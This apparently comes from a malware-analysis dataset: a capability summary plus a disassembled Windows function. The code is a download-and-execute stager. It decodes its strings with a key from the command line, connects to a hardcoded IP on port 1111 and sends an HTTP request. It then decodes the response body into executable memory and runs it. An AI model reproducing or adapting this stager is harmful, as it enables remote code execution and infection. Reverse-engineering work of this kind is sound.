Function at 0x140009ee0
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
mov eax, 0x1a38
call fcn.14000a4c0
sub rsp, rax
cmp dword [rsp + 0x1a50], 4
jge 0x140009f0c
mov eax, 1
jmp 0x14000a3ae
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
lea rcx, [0x140009ec0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rax, [rsp + 0x70]
lea rcx, [0x140001090]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_inet_addr
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xb0]
lea rcx, [0x1400010a0]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd0]
lea rcx, [0x1400010b0]
mov rdi, rax
mov rsi, rcx
mov ecx, send
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xc0]
lea rcx, [0x1400010c8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe8]
lea rcx, [0x1400010d8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2b
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rsp + 0x1a58]
mov rax, qword [rcx + rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call fcn.14000e890
inc rax
mov r9, rax
mov r8, qword [rsp + 0x28]
mov edx, 9
lea rcx, [rsp + 0x70]
call fcn.140009e20
mov rcx, qword [rsp + 0x28]
call fcn.14000e890
inc rax
mov r9, rax
mov r8, qword [rsp + 0x28]
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0xd0]
call fcn.140009e20
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x98], rax
movabs rax, 0xfffffffe9a5f4400
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x90]
xor ecx, ecx
call qword [rsp + 0x98]
mov dword [rsp + 0x80], eax
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rsp + 0x84], 0x7d0
mov dword [rsp + 0x88], 0
mov dword [rsp + 0x8c], 0
lea rdx, [rsp + 0x120]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000a0c7
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x140001108]
call fcn.14000a450
mov eax, 1
jmp 0x14000a3ae
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0xffffffffffffffff
jne 0x14000a0fb
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x140001120]
call fcn.14000a450
lea rcx, [0x140001140]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0xa4], eax
mov eax, 2
mov word [rsp + 0xa0], ax
mov cx, 0x457
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0xa2], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jge 0x14000a161
lea rcx, [0x140001150]
call fcn.14000ec30
mov eax, 1
jmp 0x14000a3ae
lea rax, [0x140001160]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call fcn.14000e890
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jge 0x14000a1a7
lea rcx, [0x1400011b0]
call fcn.14000ec30
mov eax, 1
jmp 0x14000a3ae
mov dword [rsp + 0x30], 0
xor r9d, r9d
mov r8d, 0x7d0
lea rdx, [rsp + 0x1260]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jle 0x14000a21a
mov edx, dword [rsp + 0x20]
lea rcx, [0x1400011c0]
call fcn.14000a450
movsxd rax, dword [rsp + 0x20]
movsxd rcx, dword [rsp + 0x30]
lea rcx, [rsp + rcx + 0x2c0]
mov r8, rax
lea rdx, [rsp + 0x1260]
call fcn.14001f330
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000a243
cmp dword [rsp + 0x20], 0
jne 0x14000a22f
lea rcx, [0x1400011d8]
call fcn.14000a450
jmp 0x14000a243
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x1400011f0]
call fcn.14000a450
cmp dword [rsp + 0x20], 0
jg 0x14000a1af
lea rdx, [0x140001204]
lea rcx, [rsp + 0x2c0]
call fcn.14000a3c0
mov qword [rsp + 0x58], rax
movsxd rax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x58]
add rcx, 4
lea rdx, [rsp + 0x2c0]
sub rcx, rdx
sub rax, rcx
mov dword [rsp + 0x34], eax
movsxd rax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x58]
add rcx, 4
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0xa90]
call fcn.14001f330
mov rcx, qword [rsp + 0x28]
call fcn.14000e890
inc rax
mov r9, rax
mov r8, qword [rsp + 0x28]
mov edx, 0x7d0
lea rcx, [rsp + 0xa90]
call fcn.140009e20
mov rcx, qword [rsp + 0x28]
call fcn.14000e890
inc rax
mov r9, rax
mov r8, qword [rsp + 0x28]
mov edx, recv
lea rcx, [rsp + 0xb0]
call fcn.140009e20
mov rcx, qword [rsp + 0x28]
call fcn.14000e890
inc rax
mov r9, rax
mov r8, qword [rsp + 0x28]
mov edx, recv
lea rcx, [rsp + 0xc0]
call fcn.140009e20
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14000a33f
mov eax, 1
jmp 0x14000a3ae
lea rdx, [rsp + 0xc0]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x14000a366
mov eax, 1
jmp 0x14000a3ae
movsxd rax, dword [rsp + 0x34]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8d, 0x7d0
lea rdx, [rsp + 0xa90]
mov rcx, qword [rsp + 0x68]
call fcn.14001f330
call qword [rsp + 0x68]
xor eax, eax
add rsp, 0x1a38
pop rdi
pop rsi
ret